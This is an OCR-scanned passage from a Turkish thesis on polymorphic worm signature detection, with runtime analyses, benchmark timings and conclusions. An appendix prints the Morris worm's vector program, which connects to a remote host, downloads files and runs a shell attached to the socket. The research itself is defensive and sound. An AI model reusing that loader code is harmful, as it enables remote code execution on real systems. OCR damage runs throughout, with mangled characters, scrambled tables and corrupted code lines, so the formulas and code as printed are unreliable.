YsKi, YIKi, YsGKi, YIGKI ve YIKDB imza yapilarmin imza olusturma
asamalarinin c¢alisma siireleri onceki boliimlerde analiz edilmistir. Bu bdliimde,
onceki boliimlerde yapilan analizler bir araya getirilmis ve imza olusturma

stirelerinin genel analizi yapilmstir.

Imza yapilarinin imza olusturma asamalarmin toplam ¢alisma siiresi toplanarak

Cizelge 4.7’ de gosterilmistir.

Imza Olusturma Siiresi
Imza Yapisi
Genel Ei Durum EK Durum
YIKDB 0k, X L) + 0(n) 0(L) + 0(n) 02 x L)
YIGKi
0(k, x L) 0n? x L) 0(n? x L)
YsGKI
YIKI
O(k x L) 0(n® x L) 0(n?x L)
YsKi

Cizelge 4.7, imza Olusturma Siireleri.

Cizelge 4.7°de goriildiigii gibi, YIKDB imza yapisinda, imza olusturma islemi
El durumu iyilestirilmistir. EK durumda, tiim imza yapilari n? x L ile orantili sekilde
imza olusturmaktadir. Genel olarak degerlendirme yapildiginda, YIKI ve YsKI imza
yapilarinda degerlendirilen her durumda degerlendirilen k adet kenar, YIGKI ve
YsGi imza yapilarinda degerlendirilecek kenar sayisi igin bir {ist limittir. Pratikte,
polimorfik solucan akis ¢izgesinde, V kiimesindeki n adet diiglimiin olusturacagi tiim
yonlii kenarlarimin bulunmayacagi varsayimi ile genel olarak k, < k varsayimi
yapilabilir. Polimorfik akis ¢izgesinde gii¢lii diigiim bulunmasi durumunda,

YIKDB’nin kullandig1 tam bagl zayif solucan akis1 ¢izgesi, YIGKI ve YsGKi’nin
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kullandig1 tam bagli polimorfik solucan akis ¢izgesinden daha az sayida kenar
icerecektir. Bu durumda kj, < k, varsayimi yapilabilir. Bu varsayimlar esliginde,

Onerilen imza yapilarinin imza olusturma stireleri agagidaki gibi siralanacaktir.

YIKDB < YIGKI,YsGKI < YIKI, YsKI

Yukaridaki varsayimlar yapilmaz ise kj, <k, <k durumu herzaman
dogrudur. Bu durumda, 6nerilen imza yapilarinin imza olusturma siireleri asagidaki

gibi siralanacaktir.

YIKDB < YIGKI,YsGKI < YIKI, YsKI

4.5 Akis Degerlendirme Siirelerinin Analizi

Bu béliimde, YsKI, YIKI, YsGKI, YIGKI ve YIKDB imza yapilarinin akis
degerlendirme yoOntemlerinin c¢alisma zamani analizi yapilmistir. Ayrica Onerilen
imza yoOntemlerinin akis degerlendirme yontemleri, Polygraph Bayes, Polygraph

Conjunction ve Polygraph Subsequence ile karsilastirmali olarak yorumlanmastir.

KI ve GKI imzalar1, hesapladig1 akis skoru iizerinden karar veren skor tabanl
imza yapilar1 iken, YIKDB imza eslestirme ile karar vermektedir. Bu sebeple,
Onerilen yontemlerin akig degerlendirme asamasinda gergeklestirdikleri islemler ayri
ayr1 incelenmis ve sonrasinda toplu analiz yapilmistir. Ki, GKI ve YIKDB imza
yapilarinin akis degerlendirme asamalar1 Cizelge 4.8’de verilmistir. Art1 (+) isareti,
ilgili asamanin imza yapisinda bulundugunu gosterirken, eksi (-) isareti ilgili

asamanin imza yapisi i¢in gecerli olmadigini géstermektedir.
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imza Yapisi

YsKi YIKI YsGKi | YIGKi | YIKDB

Akis
Cizgesinin + + + + -

Cikarilmast

Aki1s Skorunun
Hesaplanmasi
ve Karar

Verme

Imza

Akis Degerlendirme Asamasi

Eslestirme ve - - - - +

Karar Verme

Cizelge 4.8, Akis Degerlendirme Asamalari.

Boliim 4.5.1°de, YIKI, YsKi, YsGKI ve YIGKI imza yapilarinda akis ¢izgesi
cikarma asamasinin calisma siiresi analiz edilmistir. Bolim 4.5.2°de, YIKI, YsKi,
YsGKI ve YIGKI imza yapilarinin akis skorunu hesaplama yontemleri analiz
edilmistir. Boliim 4.5.3’de, YIKDB imza eslestirme yontemi incelenmistir. Boliim

4.5.4’de genel degerlendirme verilmistir.

YsKi, YIKI, YsGKI, YIGKI, YIKDB, Polygraph Bayes, Polygraph
Conjunction ve Polygraph Subsequence imza yapilari, ANSI C ile gerceklenmistir ve
deneyler 1 GB bellekli, 1.8 GHz islemci hizinda ve 1 Gbit/s Ethernet arayiizlii
Fedora 10 Linux bilgisayarda yapilmistir.

4.5.1 Akis Cizgesinin Cikarilmasi

YIKI, YsKi, YIGKi ve YsGKi imza yapilarinda, polimorfik solucan ya da

normal trafik olarak etiketlenmek {izere degerlendirilen akisin skorunu hesaplamadan
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once, incelenecek olan akis icerisindeki bilinen diiglimler (v; € V) bulunmali ve bu

diigtimler cinsinden X akis ¢izgesi olusturulmalidir.

Her v; € V, akis igerisinde akisin boyutuyla dogru orantli sekilde dogrusal
zamanda aranir. Akis cizgesi pratikte bir sirali baglh liste olarak uygulanirsa, liste

yapist ve liste diigiim yapis1 Sekil 4.7°deki gibi olur.

Liste digimi yapisy

diiZm]

aotiraki

ancekd

ditginm indisi

akag indisi

}
Liste Bag
sotrakd gotiraki gotiraki

HULL oo + v — T Lo y T —*

dugum M i Siim ] dugl.;m , dugum MULL
A eld atuceld dnceld

Sekil 4.7, Akis Cizgesi Diigiim ve Liste Yapist.

Dugiim yapisindaki sonraki degeri, ilgili diiglimden bir sonraki diiglime isaret
eder. Liste sonundaki diiglimiin sonraki degeri, bostur (NULL). Diigiim yapisindaki
onceki degeri, ilgili diigiimden bir 6nceki diiglime isaret eder. Liste sonundaki
diigiimiin onceki degeri, bostur (NULL). Liste Bagsi, her zaman akis listesinin ilk
diglimiinii gosterir. Liste Bas: isaretcisi baslangigcta bostur (NULL). Listeye ilk
diigim eklendiginde ya da liste basina diiglim eklendiginde Liste Bags: degeri
giincellenir. Dliglim yapisindaki diigiim_indisi, listeye eklenecek v; diigiimiiniin i
indisini gosterir. Akig_indisi ise, v; diigiimiiniin akis igerisinde bulundugu a indisini

gosterir.

Arama sirasinda akisin a. indisinde bulunan v; diigiimii listeye eklenmeden

once asagidaki gibi ilklendirilmelidir:

veni_diigiim.sonraki = NULL
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veni_diigiim.énceki = NULL

veni_diigiim.diigtim_indisi = i

yveni_diigiim.akis_indisi = a

[Iklendirilen yeni_ diigiim listeye sirali olarak eklenmektedir. Liste igerisinde
akis indisi, yeni diigiim.akis indisi degerinden daha biiyiikk bir aday diigiim
bulunana kadar liste basindaki diigiimden baslayarak aday diigiim Gtelenir. Akis
indisi, yeni diigiimiin akis indisinden biiyiik olan aday_diigiim bulundugunda, aday
diigiimden 6nceki diigiimiin sonraki diigiimii, yeni diigiime esitlenir. Ikinci adim
olarak yeni diigiimiin onceki degeri, aday diigiimiin onceki diiglimiine esitlenir.
Ucgiincii adim olarak, yeni diigiimiin sonraki degeri, aday diigiime esitlenir. Son
olarak, aday diiglimiin 6nceki degeri, yeni diigiime esitlenir. Bos listeye ve liste
basina diigiim ekleneceginde, Liste Bagsi degeri yeni diiglime esitlenir, yeni diiglimiin
onceki degeri NULL olarak birakilir. Liste sonuna diigiim eklenirken, yeni diigtimiin

sonraki degeri NULL olarak birakilir. Listeye ara diigiim ekleme islemi Sekil 4.8°de

gosterilmistir.
soturald /’® N sonraki
| dugm | 7, 1 aday digiim [
ek w:i‘ ‘/ @ &
O - ©
NULL A NULL
anceld sonralkd

© ©

Sekil 4.8, Listeye Yeni Diigiim Ekleme.

Akis ¢izgesi listesi olustururken, yeni diigiimiin eklenecegi yeri bulmak icin
aday diigim arama islemi, calisma siiresini etkileyen islem olarak karsimiza
cikmaktadir. Akis icerisinde bulunan ¢ adet diigiimii listeye eklemek i¢in toplam /

adet karsilastirma yapilirsa, liste olusturma islemi O(l) siirede tamamlanir. EI
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durumda, listeye eklenecek her yeni diiglimiin akis indisi, liste basindaki diigiimiin
akis indisinden kiigiiktiir ve tek karsilastirma yapilarak yeni diiglim, liste basina
eklenir. El durumda liste O(t) siirede tamamlanir. EK durumda ise, listeye eklenecek

yeni diigiimiin akis indisi, listedeki tiim diiglimlerin akis indisinden biiyiiktiir ve yeni

tx(t—

diiglim siirekli olarak liste sonuna eklenir. EK durumda 71) karsilastirma yapilir

ve liste O(t?) siirede tamamlanur.

Her v; € V, akis igerisinde bulunamayana kadar aranir ve akis igerisinde
bulundugu her indis kaydedilir. Akis uzunlugu L bayt ise, » adet diiglim O(n X L)

siirede akis icerisinde aranir.

Liste olusturmak icin liste igerisinde yapilan karsilastirma sayist /, akis
uzunlugu L, diiglim sayisi n ve akis icerisinde bulunan diigiim sayis1 ¢ ise, akis
cizgesi ¢ikarma islemi calisma siiresi, YsKi, Y1KI, YsGKI ve YIGKI imza yapilar

icin Cizelge 4.9’da verilmistir.

AKkias Cizgesi Cikarma islemi

imza Yapisi

Genel Ei Durum EK Durum
YIGKi
YsGKi
O)+0(Lxn)| 0O@)+0(Lxn) | 0t +0(Lxn)
YIKi
YsKi

Cizelge 4.9, Akis Cizgesi Cikarma Islemi Calisma Siiresi.

Akis cizgesi ¢ikarma islemi Ki ve GKI imzalari i¢in aym calisma siiresine
sahiptir. Bu islem, yontemlerin akis degerlendirme siiresinin ayrismasina etki

etmemektedir.
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4.5.2 Akis Skorunun Hesaplanmasi ve Karar Verme

YIKI, YsKi, YIGKI ve YsGKi imza yapilarinda, polimorfik solucan ya da
normal trafik olarak etiketlenmek iizere degerlendirilen akisin  ¢izgesi
olusturulduktan sonra, akis skoru hesaplanmakta ve karar verilmektedir. Akis skoru
KI ve GKI imza yapilarinda farkli sekillerde hesaplanmaktadir. Bu béliimde KI ve
GKI imza yapis1 akis skoru hesaplama ve karar verme yontemlerinin ¢alisma siireleri

incelenmistir.

YsKi ve YIKI imza yapilarinda, akis ¢izgesi listesinin basindaki diigiimden
baglayarak sonuna kadar 6teleme yapilir ve ardigik olan her (v;, v;) kenarinin skoru,
skor tablosundan sorgulanarak akis skoruna eklenir. Akis ¢izgesi listesi icerisinde ¢
adet diiglim varsa, olugan t — 1 adet ardisik kenarin yonlii ya da yonsiiz skoru toplam
akis skoruna eklenir. Toplam akis skoru, esik deger ile karsilastirilir ve eger esit ya
da daha biiyiik ise akis polimorfik solucan olarak etiketlenir. YsKi ve YIKi imza

yapisi O (t) siirede akis skorunu hesaplayip karar verir.

YsGKi ve YIGKI, akis ¢izgesi listesindeki kenarlar1 YIKI ve YsKi’de oldugu
gibi ardigik olarak dikkate almaz. Akis listesinde incelenen bir diigiim ile gii¢lii kenar
olusturan ve daha once bir kenarin bitis diiglimii olarak kullanilmayan ilk diigiimiin
olusturdugu giiclii kenarin skoru akis skoruna eklenir. Eger liste sonuna kadar,
incelenen diigiim ile gili¢lii kenar olusturan ve daha once bir kenarin bitis diglimii
olarak kullanilmayan bir diiglim bulunamazsa, incelenen diigiim ile kendisinden bir
sonraki diiglimiin olusturdugu zayif diiglimiin skoru akis skoruna eklenir ve inceleme
bir sonraki diigiimden liste sonundan bir onceki diiglime kadar aymi sekilde devam
eder. Sonugcta bulunan akis skoru, esik deger ile karsilastirilir. Akis skoru esik degere

esit ya da daha biiyiik ise, akis polimorfik solucan olarak etiketlenir.

Akis cizgesi listesinde t adet diiglim varsa ve yukarida anlatilan liste tarama
sirasinda | >t — 1 adet karsilastirma yapiliyorsa, YIGKI ve YsGKI akis skoru
hesaplama ve karar verme islemi, O(l) siirede tamamlanir. EI durumda, akis ¢izgesi
listesinde bulunan tiim ardisik diigiimler, birbiriyle gii¢lii kenar olusturur. Bu

durumda [ =t — 1 olacagindan g¢aligma siiresi O(t) olarak belirlenir. EK durumda
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ise, akis c¢izgesi listesi igerisinde birbiriyle giliclii kenar olusturan diigiimler
bulunmamaktadir. Listedeki her i. diigiimiin, listede kendisinden sonra bulunan ¢t — i
adet diigiim ile giicli kenar olusturup olusturmadigr kontrol edilir, sonra da

kendisinden bir sonraki diigiimle olusturdugu zayif kenarin skoru akis skoruna

eklenir. Bu durumda toplam Y!Zl(t—i)=Y!li= @ adet karsilastirma

yapilir.

Akas cizgesi listesinde t adet diiglim varsa ve liste tarama sirasinda [, >t — 1
adet karsilastirma yapiliyorsa, YsKi, YIKI, YsGKI ve YIGKI imza yapilarinin akis

skoru hesaplama ve karar verme c¢alisma siireleri Cizelge 4.10°da verildigi gibidir.

AKkis Skoru Hesaplama ve Karar Verme Islemi
imza Yapisi
Genel El Durum EK Durum
YIGKi
0(ly) 0(t) 0(t?)
YsGKi
YIKI
0(t) 0(t) 0(t)
YsKi

Cizelge 4.10, Akis Skoru Hesaplama ve Karar Verme Islemi Calisma Siiresi.

Cizelge 4.10°da goriildiigii gibi, EK durumda GKI imzalarmin akis
degerlendirme siiresi akis igerisindeki diigiimlerin sayismin karesi ile orantiliyken Ki
imza yapisiin akis degerlendirme siiresi her durumda akis icerisindeki diigtimlerin

sayistyla lineer olarak artmaktadir.



126

4.5.3 Imza Eslestirme ve Karar Verme

YIKDB imza yapisinda, imza kiimesi igerisindeki giiclii kenarlar ve giiclii
diigiimler akis icerisinde aramir. Imza kiimesi icerisindeki tiim gii¢lii diigiimler ve

gliclii kenarlar akis igerisinde bulunursa akis polimorfik solucan olarak etiketlenir.

Giiglii kenarlar, zayif diiglimlerden olusmaktadir. Zayif diigiimlerin normal
akis havuzu igerisinde bulunma olasiliklar1 yiiksektir. Bu sebeple, zayif diigtimlerden
olusan giiclii kenarlar yerine normal akis havuzu igerisinde bulunma olasiliklar
diisiik olan giiclii diiglimleri oncelikli olarak akis igerisinde aranir. Bu sayede akis
icerisinde bulunma ihtimali diisiik olan giicli diiglim tespit edilmedigi siirece,
olasiliklar1 yiiksek olan zayif diigiimleri gereksiz yere arama maliyetinden

kagimilmaktadir.

YIKDB imza kiimesindeki giiclii diigiimler ya da gii¢lii kenarlardan biri normal

akis igerisinde bulunamayana kadar aranan diigiim sayisi [, olsun. Bu arama islemi
O(l, X L) strede tamamlanir. Polimorfik solucan akisinda ise, YIKDB imza
kimesindeki d, adet giiclii diigtim ve k; adet giglii kenar bulunur. Bu durumda

0((dg4 + 2kg) X L) siirede akisin polimorfik solucan olduguna karar verilir.

YIKDB akis degerlendirme ¢alisma siiresi, akis i¢erisinde bulunan diigliimlere

bagli olarak (4.34)’de gosterildigi gibidir.

l, = dg + 2k + 1, tiim giigli dugimler ve k adet giigli kenar bulunduysa
o(l,xL), l= l, =d+1,0 <d < dgiken d adet gliglii diigtim bulunduysa (4.34)
l, = dg + 2kg, tiim giigli digiimler ve glglii kenarlar bulunduysa

El durumda, akis icerisinde imza kiimesindeki gii¢lii diigiimlerden higbiri
bulunmaz. Ik giiclii diigiim uzunlugu L bayt olan akis igerisinde O(L) siirede aranir

ve akisin normal trafik olduguna karar verilir.

EK durumda ise, YIKDB imza kiimesindeki dg adet giiglii diigiim ve k, adet

giiclii kenar akis igerisinde bulunur. 0((dgy + 2kg) X L) siirede akigin polimorfik
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solucan olduguna karar verilir. YIKDB imza kiimesinin boyutunun en biiyiik oldugu
durum, polimorfik solucan akis ¢izgesinde gii¢lii diigiimiin bulunmadig1 ve n adet
zayif diigiimiin n? adet giiclii kenar olusturdugu durumdur. Bu giilii kenarlarin hepsi

akis igerisinde bulunursa akis degerlendirme, O (n? X L) siirede tamamlanr.

Giiglii diigtimlerin akis igerisinde bulunma olasiliklar1 diisiiktiir. YIKDB akis
degerlendirme sirasinda oncelikle gii¢lii diiglimler arandig1 i¢in biiyiik olasilikla ilk
giicli diiglimiin aranmasindan sonra karar verilebilmektedir. Bolim 4.5.2°de
anlatildig1 gibi KI ve GKI imza yapilari, karar vermeden dnce akis icerisinde bilinen
tim diigiimleri arayip akis ¢izgesi listesini olusturmalidir. Diigiim kiimesi
icerisindeki zayif diiglimlerin normal akis icerisinde yiiksek olasilikla goriildiigiinii
g6z oniinde bulundurursak, YIKDB bu zayif diigiimlerin aranmasini gii¢lii diigiimleri
bulduktan sonra yaptigi icin akis degerlendirme siiresi fark edilir sekilde

kisalmaktadir.

4.5.4 Genel Degerlendirme

YsKi, YIKI, YsGKI ve YIGKI imza yapilarinin akis ¢izgesini olusturma ve
akis skorunu hesaplayarak karar verme asamalarinin ¢alisma siireleri, Boliim 4.5.1 ve
Boliim 4.5.2°de analiz edilmistir. YIKDB imza yapisinin imza eslestirme ve karar
verme asamasi ¢alisma siiresi analizi, Boliim 4.5.3’de analiz edilmistir. Bu bdliimde,
onceki boliimlerde yapilan analizler bir araya getirilmis ve akis degerlendirme

siirelerinin genel analizi yapilmistir.

YsKi, YIKi, YsGKI, YIGKI, YIKDB, Polygraph Bayes, Polygraph
Conjunction ve Polygraph Subsequence imza yapilari, ANSI C ile ger¢eklenmistir ve
bu imza yapilarinin akis degerlendirme siireleri 1 GB bellekli, 1.8 GHz islemci
hizinda ve 1 Gbit/s Ethernet arayiizlii Fedora 10 Linux bilgisayarda yapilan testlerle

Olctilmiistiir.

YsKi, YIKI, YsGKi, YIGKI ve YIKDB imza yapilarinda polimorfik solucan

ya da normal trafik olarak etiketlenecek akisin uzunlugu L bayt olsun.
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Diigiim kiimesi V’deki diigiim sayis1 n olsun.

YsKi, YIKI, YsGKI ve YIGKI imza yapilarinda, akis cizgesi listesi igerisinde

bulunan diigiim sayisi ¢ olsun.

YsKi, YIKI, YsGKI ve YIGKI imza yapilarinda, akis ¢izgesi listesi olusturmak

i¢in liste igerisinde yapilan karsilastirma sayisi / olsun. Oyle ki | > ¢t — 1.

YsKi, YIKI, YsGKI ve YIGKI imza yapilarinda, akis skoru hesaplamak icin

akis listesi icerisinde yapilan karsilastirma sayisi L, olsun. Oyle ki [, >t — 1.

Akis igerisinde, YIKDB imza kiimesinden aranan giiclii diigiimler ya da giiglii

kenarlar1 olusturan zayif diigiimlerin sayisi ,, olsun. Oyle ki imza kiimesindeki giiclii

diiglim sayis1 ng ve giiglii kenar sayisi kg iken [, < ng + 2k,.

YsKi, YIKi, YsGKi, YIGKI ve YIKDB imza yapilarmin toplam akis

degerlendirme siireleri Cizelge 4.11°de verilmistir.

Akis Degerlendirme Calisma Siiresi
Imza Yapisi
Genel Ei Durum EK Durum
YIKDB 0(l, xL) O(L) 0((dy + 2ky) X L)
YIGKI
o) +0(Lxn)y+0(,) 0(t) +0(L xn) 0(t?) + 0(L x n)
YsGKi
YIKI
0 +0(Lxn)+0(t) 0(t) +0(L xn) 0(t?) +0(L xn)
YsKi

Cizelge 4.11, Akis Degerlendirme Calisma Stiresi Analizi.
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Genel olarak degerlendirme yapildiginda, diigiim kiimesi V igerisindeki n adet
diigiimiin pek az1 gii¢lii diigiim olacaktir ya da giiclii kenar olusturacaktir. Bunun
sebebi, protokol yapisi ve aciklik kullanma mantig1 sebebiyle solucan akis ¢izgesi
icerisinde normal akista olmasi beklenen diigiimlerin de bulunmasidir. Bu durumda
genel olarak [, <n, [, <l ve [, <, varsaymmlar1 yapilabilir. Boylece genel
calisma siiresi analizine bakilarak YIKDB imza yapisinin akis degerlendirme ¢aligsma
siiresinin Ki ve GKI imza yapilar1 akis degerlendirme calisma siiresinden daha kiigiik
olacag1 sdylenebilir. [, > t — 1 olduguna gore, genel olarak GKI imza yapisi ¢alisma

siiresi karmasikliginin Ki imza yapisina esit ya da daha biiyiik oldugu gériilmektedir.

YIKDB < YsKi,YIKI < YsGKI, YIGKI

El ve EK durum analizi incelendiginde KI ve GKI imza yapilarinin aymi akis
degerlendirme caligsma siiresi karmasikligina sahip oldugu ve YIKDB’nin daha diisiik

akis degerlendirme ¢alisma siiresi karmasikligina sahip oldugu goriilmektedir.

Akis degerlendirme siiresi performansinin karsilastirilmasi i¢in, normal akis
havuzunun gelisigiizel secilmis 100.000 HTTP istek akisi kullanilarak o6l¢tim
yapilmustir. Kullanilan HTTP akislarinin ortalama boyutu 800 bayttir. HTTP akislari
5 milisaniyeden 10 milisaniyeye gelisiglizel bir gecikme ile gonderilmis ve testler
bes kez tekrarlanarak ortalama degerler kaydedilmistir. Akis degerlendirme siiresi 1
mikrosaniye hassasiyet ile olcililmiistlir. Bes kez tekrar edilen deneylerin ortalamasi

olarak kaydedilen akis degerlendirme stireleri Cizelge 4.12°de verilmistir.
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Imza yapis1 AKkis Degerlendirme Siiresi (is)

YIKDB 65

YIGKI 296

YsGKI 293

YIKI 274

YsKI 276

Polygraph Subsequence 217

Polygraph Conjunction 212
Polygraph Bayes 215

Cizelge 4.12, Akis Degerlendirme Siiresi Olgiimleri.

Cizelge 4.12°deki sonuglar, akis degerlendirme siiresi genel analizinde verilen
YIKDB < YsKI,YIKI < YsGKI,YIGKI siralamasin1 desteklemektedir. YIKDB imza
yapist Ki ve GKI imza yapilarina gore daha hizli sekilde akisi degerlendirip karar

vermektedir.

YsKi ve YIKI imza yapilarimin akis degerlendirme siireleri, karmasiklik
analizinde matematiksel olarak da gosterildigi gibi birbirinden 6nemli derecede
farklilik gdstermemektedir ve benzer akis degerlendirme siiresine sahiptir. YsGKI ve
YIGKI imza yapilar1 da, benzer sekilde yapilan karmasiklik analizi sonuglarin
destekler sekilde birbirine benzer akis degerlendirme siiresi performansina sahiptir.
KI imza yapilari, GKI imza yapilarma gére daha hizli karar verebilmektedir. Bunun
sebebi, oOnceki paragraflarda yapilan analizleri destekler bicimde normal akis
icerisinde bliylik oranda gii¢lii kenar bulunmazken akis ¢izgesi listesinin giiglii kenar

arama amaciyla her diigiim i¢in sonuna kadar aranmasidir.
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YIKDB imza yapisi, akis igerisinde Oncelikle imza kiimesindeki giiclii
diigiimleri aramaktadir. Giiglii diiglimlerin normal akis icerisinde bulunma olasilig
diisiik oldugu igin, normal akislarin biiyiik cogunlugunda YIKDB, Ei durum
analizine uygun olarak tek giiclii diiglimii bulamay1p karar vermektedir. Bu sayede
akis icerisinde diger gereksiz aramalar yapilmamaktadir. Ayrica YIKDB Ki ve GKi
imza yapilarinda oldugu gibi akis ¢izgesi ¢ikarmadigi ve akis skoru hesaplamadigi
igin de KI ve GKI imza yapilarma gére daha az zaman igerisinde karar

verebilmektedir.

Akis ¢izgesi olusturma ve uygun kenar skorlarini kullanma &zelliklerinden
otiri KI ve GKI imza yapilari, Polygraph Bayes, Polygraph Conjunction ve
Polygraph Subsequence imza yapilarina nazaran daha yavas sekilde akislar
degerlendirmektedir. Bunun yaninda akis degerlendirme siireleri arasinda ag
performansini biiyiik derecede etkileyecek kadar fark bulunmamaktadir. Ki ve GKI
imza yapilariin Polygraph imza yapilarima gore esnek tanimlanmis yapisinin
sagladig1 avantajlarin yaninda, akis degerlendirme performanslar1 arasindaki bu
farklilik kabul edilebilir. YIKDB imza yapisinin polimorfik solucanin izomorfik
stirimlerini  tespit edebilecek sekilde tasarlanmig olmasinin yaninda akis
degerlendirme performans: Polygraph imza yapilarina gore ag performansini ii¢

kattan daha fazla artiracak sekilde hizli calismaktadir.
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5 SONUCLAR

Polimorfik solucan saldirilariyla miicadele hem bilgi giivenligi arastirmacilar
hem de sistem yoneticileri i¢in ugras gerektiren bir konudur. Solucanlarin kendini
kopyalama ve hizli yayilma 6zelliklerini polimorfik tekniklerle birlestiren polimorfik
solucanlar, degisik tipteki zararli yazilimlar arasinda ozel ilgi gerektirirler. Bu
calismada YIKI, YsKi, YIGKI, YsGKi ve YIKDB olmak iizere bes farkli yeni imza
yapist Onerilmistir. Ayrica, igerik tabanli polimorfik solucan imzalarimin
simiflandirilmast  i¢in  bir ¢er¢eve sunulmustur. Bu siniflandirma gergevesi,
arastirmacilarin yeni imza yapilar1 Onerebilmeleri i¢in bir altyapr tanimlayarak

polimorfik solucan tespit probleminin ¢dziimiine katki saglayacaktir.

YIKI ve YsKi imzalarindan olusan KI imza yapisi, polimorfik solucan
kopyalarindaki ortak karakter katarlarinin ikili bagimliliklarindan faydalanilarak hem
esnek hem de diislik yanlis-pozitif ve yanlig-negatif oranlarina sahip imza yapilarinin
tasarlanabilecegini gosteren literatiirdeki ilk ¢alismadir. YIGKI ve YsGKIi
imzalarindan olusan GKI imza yapisi, polimorfik solucan kopyalarindaki ortak
karakter katarlarinin ikili bagimliliklarina bagli olarak hesaplanan kenar skor
degerlerini giliclii ve zayif olarak kiimeleyerek giiclii kenar kavramini tanimlayan
literatiirdeki ilk c¢aligmadir. Polimorfik solucan akisi igerisinde bulunan giicli
kenarlar, polimorfik solucan akisinin normal akistan daha belirleyici sekilde ayirt
edilmesine olanak saglamistir. GKI imza yapisinda Ki imza yapis1 gelistirilerek akis
degerlendirme yanlis-pozitif ve yanlis-negatif performansi iyilestirilmistir. YIKDB
imza yapisi, GKI imza yapisindan farkli olarak hem giiclii kenarlart hem de giiglii
diigimleri akis degerlendirme asamasinda kullanan ilk calismadir. YIKDB imza
yapis1, YIGKI imza yapis1 disinda 6nerilen imza yapilarini yanlis-pozitif performansi

acisindan iyilestirmektedir.

Gergeklestirilen testlerin sonuglarinda, Onerilen imza yapilarinin her birinin
yanlig-negatif oranlarinin %0 oldugu goriilmiistiir. Baska bir deyisle Onerilen tiim
imza yapilart polimorfik solucan akiglarinin tiimiinii basariyla tespit edebilmektedir.
Ote yandan test sonuglari, YIKDB ve YIGKI imza yapilarinin yanlis-pozitif oram

bakimindan digerlerinden daha iyi performansa sahip oldugu goriilmiistiir. YsGKI
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imza yapis1 da ihmal edilebilecek kadar kiiciik bir farkla iyi yanlis-pozitif oranina
sahiptir. YIKI ve YsKI imza yapilari, kendisinin iyilestirilmis siiriimleri olan Y1GKI,
YsGKI ve YIKDB imza yapilarma gére daha fazla yanls-pozitif karar vermekte
iken yine basit bir yapiya sahip olan benzer Polygraph Bayes imza yapisina gore
YIKi on kattan daha fazla, YsKi yaklasik bes kat daha iyi yanls-pozitif

performansina sahiptir.

Gelen akislarin  normal trafik veya polimorfik solucan olarak
simiflandirilmasmin  kritik olmasimma ragmen, bir polimorfik solucanin yeni
strimlerine direnglilik ve hizli bir akis degerlendirme ydntemine sahip olmak
karsilastirilan imza yapilarinin avantaj ve dezavantajlarini karsilastirirken dikkate

alinmasi gereken 6nemli etkenlerdir.

YIKI, YsKi, YIGKI ve YsGKI imza yapilari, karsilastirilan Polygraph imza
yapilarina benzer akis degerlendirme siiresine sahiptir. YIKDB imza yapisi, onerilen
diger imza yapilarinin ve karsilastirilan Polygraph imza yapilarinin akis
degerlendirme siirelerinin iicte birinden daha diisiikk akis degerlendirme siiresine
sahiptir. Bu sayede, polimorfik solucan tespiti i¢in kullanilacak aglardaki akis

degerlendirme bant genisligi kapasitesi dnemli Ol¢iide artmistir.

Imza yapilarinin bir polimorfik solucanin yeni siiriimlerine direngli olmalar1 da
bir diger 6nemli ihtiyactir. KI ve GKI imza yapilari, esnek yapilari sayesinde
polimorfik solucan ériintiisiindeki degisikliklere kars1 direnglidir. Ki ve GKI imza
yapilarinin mevcut imza kiimeleriyle bir polimorfik solucanin izomorfik siirtimlerini
tespit edememesi i¢in, solucan Oriintiisii icerisindeki giliclii diigiimlerin ve giiclii
kenarlarin degistirilmesi gereklidir ki bu diiglim ve kenarlarin ilgili polimorfik
solucan kodunun c¢alismasi igin gerekli oldugu diisiiniilirse KI ve GKI imza
yapilariin yeni siirimleri tespit edememesi ancak neredeyse yeni bir polimorfik
solucanin iiretilmesiyle miimkiin olacaktir. YIKDB imza yapisi, polimorfik solucan
Oriintiisii icerisindeki gili¢li diiglimlerin ya da giicli kenarlarin degistirilmesi
durumunda bile, kismi imza eslesmelerini bir siipheli akis havuzunda biriktirip
otomatik olarak imza olusturma siirecini baslatarak polimorfik solucanin izomorfik

siirimleri i¢in yeni imzalar1 olusturabilmektedir. Solucanlarin hizli yayilma
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karakteristik Ozelliklerinden otiirii siipheli akis havuzu igerisinde kismi imza
eslesmesi olan akis drnekleri kisa siirede toplanarak izomorfik solucan siiriimii i¢in

yeni imza kiimesi hizlica olusturulabilmektedir.

Sonug olarak &nerilen Ki, GKi ve YIKDB imza yapilari, yine tez calismast
igerisinde Onerilen polimorfik solucan smiflandirma c¢ergevesinden faydalanarak
esnek, polimorfik solucan Oriintiisiindeki degisikliklere direncli, izomorfik solucan
stiriimlerini dogrudan tespit eden ya da hizlica yeni imza olusturan, iyi yanlig-pozitif
ve yanlis-negatif karar performansina sahip, akis degerlendirmesini hizli sekilde
yapan imza yapilari olarak polimorfik solucanlarin tespiti problemine ¢dziim olarak
literatiire 6nemli katkilarda bulunmustur. Onerilen polimorfik solucan imzasi
siniflandirma c¢ercevesi, problem ¢dzlimil lizerinde ¢alisan diger aragtirmacilarin yeni
imza yapilar1 6nermesine olanak sagladig: icin gelecek calismalar1 destekleyecek bir

altyap1 caligsmasi olarak literatiire katkida bulunmustur.
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EK-1. Morris Solucam Vektor Program Kodu

#include <stdio.h>

#include <sys /types.h>

#include <sys /socket.h>

#include <netinet /in.h>

main (int argc, char *argv[])

{

struct sockaddr-in sin;
int s, i, magic, nfiles, j, len, n;
FILE *fp;
char files[20][128], char buf[2048], *p;
unlink (argv([0]);
if (argc != 4)
exit (1) ;
for(i = 0; i < 32; i++)
close (i) ;
i = fork():;
(1 < 0) 2 exit(l): exit(0);

bzero (&sin, sizeof (sin));

sin.sin-family = AF-INET;
sin.sin-addr.s-addr = inet-addr (argv[l]);
sin.sin-port = htons(atoi(argv[2]));

magic = htonl (atoi(argv[3]));

for (i 0; 1 < argc; i++)
for(j = 0; argv([i][j]; J++)
argv([i] [j] = "\0";
s = socket (AF-INET, SOCK-STREAM, O0);
if (connect (s, &sin, sizeof(sin)) < 0){
perror ("1l connect");
exit (1) ;
}
dup2 (s, 1); dup2(s, 2);
write (s, &magic, 4);
nfiles = 0;
while (1) {
if (xread (s, &len, 4) != 4)
goto bad;
len = ntohl (len);
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bad:

if(len == -1)
break;
if (xread (s, &(files[nfiles][0]), 128)
goto bad;
unlink (files[nfiles]);
fp = fopen(files[nfiles], "w");
if (fp == 0)
goto bad;
nfiles++;
while (len > 0) {
n = sizeof (buf);
if(n > len)
n = len;
n = read(s, buf, n);
if(n <= 0)
goto bad;
if (fwrite(buf, 1, n, fp) != n)
goto bad;
len -= n;
}
fclose (fp);

}
execl ("/bin/sh", "sh", 0);

